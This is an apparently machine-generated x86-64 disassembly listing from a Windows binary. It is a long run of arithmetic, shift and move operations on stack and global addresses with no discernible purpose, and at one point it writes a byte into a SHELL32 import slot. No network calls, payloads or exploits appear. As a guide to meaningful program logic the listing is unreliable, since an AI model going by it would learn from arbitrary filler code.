mov eax, dword [rsp + 0x6d20]
movzx ecx, al
mov eax, dword [rsp + 0x69ac]
shl eax, cl
mov rcx, qword [rsp + 0xcef8]
mov dword [rcx], eax
lea rax, [rsp + 0x6bf4]
mov qword [rsp + 0xdfb0], rax
mov rax, qword [rsp + 0xd2d8]
mov rcx, qword [rsp + 0xd1d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xc3f8]
mov qword [rcx], rax
lea rax, [rsp + 0xded8]
mov qword [rsp + 0xdfb8], rax
movsx eax, word [rsp + 0x1840]
mov rcx, qword [rsp + 0xdf28]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1402c9318], ax
mov rax, qword [rsp + 0xd9c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
xor eax, ecx
mov byte [rsp + 0xa2], al
movzx eax, word [rsp + 0x1704]
movzx ecx, word [rsp + 0x19a4]
and eax, ecx
mov rcx, qword [rsp + 0xdc30]
mov word [rcx], ax
lea rax, [rsp + 0x1824]
mov qword [rsp + 0xdfc0], rax
movzx eax, byte [rsp + 0x59]
mov rcx, qword [0x1402c92f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x155], al
mov rax, qword [rsp + 0xba88]
mov rax, qword [rax]
mov qword [rsp + 0xdfc8], rax
mov rax, qword [rsp + 0xd638]
mov ecx, dword [rsp + 0x6c00]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6c38], eax
mov rax, qword [rsp + 0xceb0]
mov rax, qword [rax]
mov qword [rsp + 0xdfd0], rax
mov rax, qword [rsp + 0xd1e8]
mov ecx, dword [rsp + 0x6a58]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xc960]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x148]
imul eax, eax, 0x12
mov byte [reloc.SHELL32.dll_ILFindChild], al
movzx eax, byte [rsp + 0xac]
movzx ecx, byte [rsp + 0x12c]
sub eax, ecx
mov byte [rsp + 0x140], al
lea rax, [rsp + 0x6b]
mov qword [rsp + 0xdfd8], rax
movsx eax, word [rsp + 0x1568]
movsx ecx, word [rsp + 0x1628]
add eax, ecx
mov word [rsp + 0x1694], ax
lea rax, [rsp + 0x1714]
mov qword [rsp + 0xdfe0], rax
mov rax, qword [rsp + 0xcc38]
mov eax, dword [rax]
mov ecx, dword [0x1402c90a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ac0], eax
mov rax, qword [rsp + 0xd030]
mov rcx, qword [rsp + 0xded8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdcf0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdf00]
mov rax, qword [rax]
mov qword [rsp + 0xdfe8], rax
mov rax, qword [rsp + 0xd5e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a28]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b6c], eax
mov rax, qword [rsp + 0xc998]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x194c]
xor eax, ecx
mov word [0x1402c74c4], ax
lea rax, [0x1402c74f6]
mov qword [rsp + 0xdff0], rax
movzx eax, word [rsp + 0x1704]
mov rcx, qword [rsp + 0xd610]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1780], ax
movsx eax, byte [rsp + 0x97]
movsx ecx, byte [rsp + 0x84]
shl eax, cl
mov rcx, qword [rsp + 0xd490]
mov byte [rcx], al
movzx eax, byte [0x1402c90c6]
mov byte [rsp + 0x177], al
mov rax, qword [rsp + 0xc1b0]
mov rcx, qword [rsp + 0xbc50]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xce20]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6d74]
mov dword [rsp + 0x6dcc], eax
mov eax, dword [rsp + 0x6bc0]
mov ecx, dword [rsp + 0x6a98]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xdc88]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdbd0]
mov rcx, qword [rsp + 0xd750]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbf98]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x119]
mov rcx, qword [0x1402c9368]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402c9250]
mov byte [rcx], al
mov rax, qword [rsp + 0xcbf0]
movzx eax, word [rax]
mov word [rsp + 0x1a04], ax
mov rax, qword [rsp + 0xd248]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1868]
add eax, ecx
mov word [rsp + 0x19f0], ax
movzx eax, byte [rsp + 0x12c]
mov byte [rsp + 0x178], al
mov rax, qword [0x1402c9348]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb8]
add eax, ecx
mov rcx, qword [rsp + 0xbea8]
mov byte [rcx], al
lea rax, [rsp + 0x6b38]
mov qword [rsp + 0xdff8], rax
mov rax, qword [rsp + 0xbe00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce10]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd320]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd3f0]
mov ecx, dword [rsp + 0x69a0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6b10], eax
lea rax, [rsp + 0xd168]
mov qword [rsp + 0xe000], rax
lea rax, [rsp + 0x170c]
mov qword [0x1402c9568], rax
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0x141]
sub eax, ecx
mov byte [rsp + 0x104], al
mov rax, qword [rsp + 0xc800]
movzx eax, word [rax]
mov word [rsp + 0x1a08], ax
mov rax, qword [rsp + 0xc658]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcc90]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1694], ax
mov rax, qword [rsp + 0xba90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc8a0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcb00]
mov word [rcx], ax
lea rax, [rsp + 0x6d9c]
mov qword [rsp + 0xe008], rax
mov rax, qword [rsp + 0xca48]
mov rcx, qword [rsp + 0xdd78]
mov qword [rsp + 0xe010], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe010]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xbfa8]
mov qword [rcx], rax
mov eax, dword [0x1402c90a0]
mov dword [rsp + 0x6dd0], eax
mov rax, qword [rsp + 0xd658]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc530]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd280], rax
lea rax, [rsp + 0x75]
mov qword [0x1402c9570], rax
mov rax, qword [rsp + 0xcc30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x18e4]
xor eax, ecx
mov word [rsp + 0x1908], ax
movzx eax, byte [rsp + 0x130]
mov byte [rsp + 0x179], al
mov rax, qword [rsp + 0xd9c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x158]
sar eax, cl
mov byte [rsp + 0x13c], al
movzx eax, word [rsp + 0x1914]
mov word [rsp + 0x1a0c], ax
mov eax, dword [rsp + 0x6d70]
mov ecx, dword [0x1402c90a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c68], eax
mov rax, qword [rsp + 0xd8b8]
mov eax, dword [rax]
mov dword [rsp + 0x6dd4], eax
mov rax, qword [rsp + 0xd150]
mov rcx, qword [rsp + 0xdc28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbce8], rax
mov rax, qword [rsp + 0xde20]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xce28], rax
lea rax, [rsp + 0x165c]
mov qword [rsp + 0xe018], rax
movzx eax, word [rsp + 0x1770]
movzx ecx, word [rsp + 0x1578]
add eax, ecx
mov rcx, qword [0x1402c93a0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xc7]
movsx ecx, byte [rsp + 0xa8]
sub eax, ecx
mov byte [rsp + 0xd1], al
mov rax, qword [rsp + 0xca08]
movzx eax, byte [rax]
mov byte [rsp + 0x17a], al
movsx eax, word [rsp + 0x17f8]
mov rcx, qword [rsp + 0xcbe8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x185c], ax
mov rax, qword [rsp + 0xc878]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c18]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bc0], eax
lea rax, [rsp + 0xced8]
mov qword [rsp + 0xe020], rax
mov eax, dword [0x1402c7498]
mov ecx, dword [rsp + 0x6d50]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdad8]
mov rax, qword [rax]
mov qword [rsp + 0xe028], rax
mov rax, qword [rsp + 0xd840]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbf08]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbda8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xb2]
movsx ecx, byte [reloc.SHELL32.dll_ILFindChild]
sub eax, ecx
mov rcx, qword [0x1402c9348]
mov byte [rcx], al
mov rax, qword [rsp + 0xbcd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdf88]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x15dc], ax
mov rax, qword [rsp + 0xcea8]
movzx eax, byte [rax]
mov byte [rsp + 0x17b], al
mov rax, qword [0x1402c93b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
shl eax, cl
mov byte [rsp + 0x164], al
lea rax, [rsp + 0x6bd8]
mov qword [rsp + 0xe030], rax
mov rax, qword [rsp + 0xd4c0]
mov ecx, dword [rsp + 0x6acc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6a1c], eax
mov rax, qword [rsp + 0xd870]
movzx ecx, al
mov rax, qword [rsp + 0xbd60]
sar rax, cl
mov qword [rsp + 0xc170], rax
mov rax, qword [rsp + 0xdd48]
mov qword [rsp + 0xe038], rax
mov rax, qword [rsp + 0xdc30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1850]
and eax, ecx
mov word [rsp + 0x1584], ax
mov rax, qword [0x1402c9488]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe0]
add eax, ecx
mov byte [0x1402c7503], al
mov rax, qword [rsp + 0xcd88]
movzx eax, byte [rax]
mov byte [rsp + 0x17c], al
mov rax, qword [rsp + 0xcaa0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
sub eax, ecx
mov rcx, qword [rsp + 0xc648]
mov byte [rcx], al
lea rax, [rsp + 0x1694]
mov qword [rsp + 0xe040], rax
mov rax, qword [rsp + 0xc8b0]
mov rcx, qword [rsp + 0xc4c0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd770]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc118]
mov ecx, dword [0x1402c7498]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a48], eax
mov rax, qword [rsp + 0xc8e8]
mov qword [rsp + 0xe048], rax
mov eax, dword [rsp + 0x6d18]
mov ecx, dword [rsp + 0x6ca0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d70], eax
movzx eax, byte [rsp + 0x140]
mov byte [rsp + 0x17d], al
movsx eax, word [rsp + 0x19dc]
mov rcx, qword [rsp + 0xe040]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c7574], ax
mov rax, qword [rsp + 0xdf70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd028]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1900], ax
movsx eax, byte [rsp + 0x171]
mov rcx, qword [rsp + 0xc4f0]
movsx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x10a], al
mov rax, qword [rsp + 0xba68]
movzx eax, word [rax]
mov word [rsp + 0x1a10], ax
movzx eax, byte [rsp + 0x6d]
movzx ecx, byte [rsp + 0xa5]
sub eax, ecx
mov rcx, qword [rsp + 0xc368]
mov byte [rcx], al
lea rax, [rsp + 0x6c70]
mov qword [rsp + 0xe050], rax
mov rax, qword [rsp + 0xc6e0]
mov rcx, qword [rsp + 0xbcc0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xba00]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6c6c]
mov ecx, dword [rsp + 0x6dd4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd6b0]
mov dword [rcx], eax
lea rax, [0x1402c7490]
mov qword [rsp + 0xe058], rax
mov rax, qword [rsp + 0xc7e0]
movzx eax, word [rax]
mov word [0x1402c9578], ax
mov rax, qword [rsp + 0xba90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd328]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x19c0], ax
lea rax, [rsp + 0x107]
mov qword [rsp + 0xe060], rax
movsx eax, word [0x1402c74cc]
mov rcx, qword [rsp + 0xd620]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd8d0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd4f8]
movzx eax, word [rax]
mov word [rsp + 0x1a14], ax
mov rax, qword [rsp + 0xcf50]
mov rcx, qword [rsp + 0xdf78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbe60]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc268]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d3c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc4b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd010]
mov eax, dword [rax]
mov dword [rsp + 0x6dd8], eax
mov rax, qword [rsp + 0xc0d8]
mov rcx, qword [rsp + 0xd108]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcaf8]
mov qword [rcx], rax
mov rax, qword [0x1402c9220]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd398]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c74ee], al
lea rax, [rsp + 0x169c]
mov qword [rsp + 0xe068], rax
mov rax, qword [rsp + 0xcad8]
movsx eax, byte [rax]
movsx ecx, byte [0x1402c74a6]
sub eax, ecx
mov byte [rsp + 0x172], al
movsx eax, byte [rsp + 0x161]
movsx ecx, byte [rsp + 0xf4]
sub eax, ecx
mov byte [rsp + 0x71], al
movzx eax, word [rsp + 0x1984]
mov word [rsp + 0x1a18], ax
mov rax, qword [rsp + 0xdda8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc278]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcba8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6d10]
mov dword [rsp + 0x6ddc], eax
mov rax, qword [rsp + 0xc308]
mov rcx, qword [rsp + 0xd048]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a6c], eax
mov rax, qword [rsp + 0xce18]
mov rcx, qword [rsp + 0xcf00]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd7e0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x9d]
movzx ecx, byte [rsp + 0xdd]
and eax, ecx
mov byte [0x1402c7506], al
movzx eax, byte [rsp + 0xff]
mov byte [rsp + 0x17e], al
movsx eax, byte [rsp + 0x175]
movsx ecx, byte [0x1402c749e]
xor eax, ecx
mov rcx, qword [rsp + 0xd7a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc5f0]
movzx eax, word [rax]
mov word [rsp + 0x1a1c], ax
mov rax, qword [rsp + 0xd8f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcb18]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x1828], ax
mov eax, dword [rsp + 0x6a30]
mov rcx, qword [rsp + 0xdf48]
mov qword [rsp + 0xe070], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe070]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x69a8], eax
mov eax, dword [rsp + 0x6918]
mov dword [rsp + 0x6de0], eax
mov rax, qword [rsp + 0xbfa0]
mov rcx, qword [rsp + 0xcca0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xd348]
mov qword [rcx], rax
mov rax, qword [0x1402c7490]
mov qword [rsp + 0xe078], rax
mov rax, qword [rsp + 0xc490]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1874]
sar eax, cl
mov word [0x1402c753c], ax
mov rax, qword [rsp + 0xd958]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xddf8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbef8]
mov byte [rcx], al
mov rax, qword [0x1402c9280]
movzx eax, byte [rax]
mov byte [rsp + 0x17f], al
mov rax, qword [rsp + 0xcb68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbda8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xde68]
mov word [rcx], ax
movsx eax, byte [rsp + 0x133]
mov rcx, qword [rsp + 0xc458]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xf6], al
lea rax, [rsp + 0x6afc]
mov qword [rsp + 0xe080], rax
mov rax, qword [rsp + 0xbb90]
mov rcx, qword [rsp + 0xd130]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xdd90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcb28]
mov qword [rsp + 0xe088], rax
mov rax, qword [rsp + 0xda08]
mov rcx, qword [0x1402c7490]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbf98]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdbf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18f0]
sub eax, ecx
mov word [0x1402c75a0], ax
movsx eax, word [rsp + 0x15e8]
mov rcx, qword [0x1402c90f0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xdc98]
mov word [rcx], ax
movzx eax, byte [rsp + 0x125]
mov byte [rsp + 0x180], al
mov rax, qword [rsp + 0xd738]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcf48]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xdcc0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbcd8]
movzx eax, word [rax]
mov word [rsp + 0x1a20], ax
mov rax, qword [rsp + 0xd340]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d54], eax
mov rax, qword [rsp + 0xd7e0]
mov rcx, qword [rsp + 0xcca8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd9a0], rax
lea rax, [rsp + 0xdfc8]
mov qword [rsp + 0xe090], rax
mov rax, qword [rsp + 0xd638]
mov ecx, dword [rsp + 0x6b90]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd528]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc440]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc5e0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1402c9268]
mov word [rcx], ax
mov rax, qword [rsp + 0xd398]
movzx eax, byte [rax]
mov byte [rsp + 0x181], al
movzx eax, word [0x1402c7568]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1618], ax
movsx eax, word [rsp + 0x19dc]
movsx ecx, word [rsp + 0x19b4]
sar eax, cl
mov word [rsp + 0x17ec], ax
mov rax, qword [0x1402c9198]
movzx eax, byte [rax]
mov byte [rsp + 0x182], al
mov rax, qword [rsp + 0xcf68]
movzx ecx, al
mov rax, qword [rsp + 0xd6a0]
shl rax, cl
mov qword [rsp + 0xc7a8], rax
lea rax, [rsp + 0xcdb8]
mov qword [rsp + 0xe098], rax
mov eax, dword [0x1402c90a0]
mov ecx, dword [rsp + 0x69ec]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd8a0]
mov dword [rcx], eax
lea rax, [rsp + 0x69f8]
mov qword [rsp + 0xe0a0], rax
mov rax, qword [rsp + 0xbbd0]
movzx eax, word [rax]
mov word [0x1402c957c], ax
mov rax, qword [rsp + 0xba90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19d0]
sub eax, ecx
mov word [rsp + 0x1948], ax
movzx eax, byte [rsp + 0x68]
movzx ecx, byte [rsp + 0x9e]
sub eax, ecx
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0xc828]
movzx eax, byte [rax]
mov byte [rsp + 0x183], al
movsx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0xc3c0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x144], al
lea rax, [rsp + 0x6b74]
mov qword [rsp + 0xe0a8], rax
mov rax, qword [rsp + 0xbb90]
mov ecx, dword [rsp + 0x6c88]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6bb4], eax
mov rax, qword [rsp + 0xc1f8]
mov rcx, qword [rsp + 0xd730]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd4f0], rax
mov rax, qword [rsp + 0xd4b8]
mov rax, qword [rax]
mov qword [rsp + 0xe0b0], rax
movzx eax, word [rsp + 0x1560]
movzx ecx, word [rsp + 0x17cc]
add eax, ecx
mov word [rsp + 0x1850], ax
lea rax, [rsp + 0x15c4]
mov qword [0x1402c9580], rax
lea rax, [rsp + 0x168]
mov qword [rsp + 0xe0b8], rax
mov rax, qword [rsp + 0xc1e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba78]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7f], al
mov rax, qword [rsp + 0xc600]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd620]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1940], ax
mov rax, qword [rsp + 0xd0c0]
mov eax, dword [rax]
mov dword [rsp + 0x6de4], eax
mov rax, qword [rsp + 0xdd60]
mov rcx, qword [rsp + 0xbc28]
mov qword [rsp + 0xe0c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe0c0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xbbf0], rax
mov rax, qword [rsp + 0xc1d0]
mov qword [rsp + 0xe0c8], rax
mov rax, qword [rsp + 0xbdd8]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x6a74]
mov rcx, qword [rsp + 0xd6a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbc58]
movzx eax, byte [rax]
mov byte [rsp + 0x184], al
movsx eax, byte [rsp + 0x14d]
mov rcx, qword [rsp + 0xcad8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x1402c90d0]
mov byte [rcx], al
movsx eax, word [0x1402c7528]
movsx ecx, word [rsp + 0x16ac]
shl eax, cl
mov word [rsp + 0x1920], ax
movzx eax, word [rsp + 0x18bc]
movzx ecx, word [rsp + 0x168c]
xor eax, ecx
mov rcx, qword [rsp + 0xbf08]
mov word [rcx], ax
lea rax, [rsp + 0x1618]
mov qword [rsp + 0xe0d0], rax
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d6c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a7c], eax
mov rax, qword [rsp + 0xc558]
mov qword [rsp + 0xe0d8], rax
mov rax, qword [rsp + 0xd8b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b18], eax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xc948]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbdf0], rax
lea rax, [rsp + 0x16bc]
mov qword [rsp + 0xe0e0], rax
lea rax, [rsp + 0x149]
mov qword [0x1402c9588], rax
mov rax, qword [rsp + 0xbc58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd450]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x69], al
lea rax, [rsp + 0x97]
mov qword [rsp + 0xe0e8], rax
movzx eax, word [rsp + 0x173c]
movzx ecx, word [rsp + 0x19fc]
sub eax, ecx
mov rcx, qword [rsp + 0xc378]
mov word [rcx], ax
mov rax, qword [rsp + 0xc380]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b50]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc738]
mov dword [rcx], eax
lea rax, [rsp + 0x6b00]
mov qword [rsp + 0xe0f0], rax
mov rax, qword [rsp + 0xd808]
mov rcx, qword [rsp + 0xd3a0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xdcf0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcf20]
mov qword [rsp + 0xe0f8], rax
movsx eax, word [rsp + 0x165c]
movsx ecx, word [rsp + 0x1804]
add eax, ecx
mov word [rsp + 0x15d8], ax
movzx eax, word [rsp + 0x18d4]
mov rcx, qword [rsp + 0xe068]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1402c9108]
mov word [rcx], ax
movzx eax, byte [0x1402c74a7]
mov rcx, qword [rsp + 0xdc18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x94], al
mov rax, qword [rsp + 0xce88]
movzx eax, byte [rax]
mov byte [rsp + 0x185], al
movzx eax, byte [rsp + 0x9e]
movzx ecx, byte [rsp + 0xb6]
shl eax, cl
mov byte [rsp + 0x137], al
lea rax, [rsp + 0x112]
mov qword [rsp + 0xe100], rax
mov rax, qword [rsp + 0xd448]
mov rcx, qword [rsp + 0xcc48]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc6b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc438]
mov rax, qword [rax]
mov qword [rsp + 0xe108], rax
mov rax, qword [rsp + 0xc628]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xce00]
mov qword [rsp + 0xe110], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe110]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6a58], eax
mov rax, qword [rsp + 0xc290]
mov ecx, dword [rsp + 0x6c08]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6d88], eax
lea rax, [rsp + 0x152]
mov qword [0x1402c9590], rax
movzx eax, word [0x1402c7598]
mov word [rsp + 0x1a24], ax
mov rax, qword [rsp + 0xc4e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x184c]
imul eax, ecx
mov word [rsp + 0x175c], ax
mov rax, qword [rsp + 0xd180]
movzx eax, byte [rax]
mov byte [rsp + 0x186], al
mov rax, qword [rsp + 0xc1c0]
movsx eax, byte [rax]
mov rcx, qword [0x1402c9448]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xd3], al
mov eax, dword [rsp + 0x6be8]
mov ecx, dword [rsp + 0x69e4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd368]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd0e0]
mov rax, qword [rax]
mov qword [rsp + 0xe118], rax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc3a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdcf0]
mov qword [rcx], rax
lea rax, [rsp + 0x6c4c]
mov qword [rsp + 0xe120], rax
movzx eax, word [rsp + 0x17c8]
movzx ecx, word [rsp + 0x17c4]
add eax, ecx
mov rcx, qword [0x1402c94f0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xec]
mov rcx, qword [rsp + 0xcd10]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x167], al
mov rax, qword [rsp + 0xdf08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcd88]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd8], al
mov rax, qword [rsp + 0xd028]
movzx eax, word [rax]
mov word [rsp + 0x1a28], ax
mov rax, qword [0x1402c9240]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc5c8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x155c], ax
lea rax, [rsp + 0xdcb8]
mov qword [rsp + 0xe128], rax
mov rax, qword [rsp + 0xc330]
mov rcx, qword [rsp + 0xccd8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd2e0], rax
mov eax, dword [0x1402c7498]
mov dword [rsp + 0x6de8], eax
mov rax, qword [rsp + 0xd5f8]
mov ecx, dword [rsp + 0x6a18]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd460]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [rsp + 0xbe]
sub eax, ecx
mov byte [0x1402c7507], al
movzx eax, byte [rsp + 0xcd]
mov rcx, qword [rsp + 0xc050]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xc3b8]
mov byte [rcx], al
mov rax, qword [rsp + 0xdc00]
movzx eax, word [rax]
mov word [rsp + 0x1a2c], ax
movsx eax, word [rsp + 0x18dc]
movsx ecx, word [rsp + 0x1690]
sar eax, cl
mov word [rsp + 0x1978], ax
movzx eax, word [0x1402c7524]
mov word [rsp + 0x1a30], ax
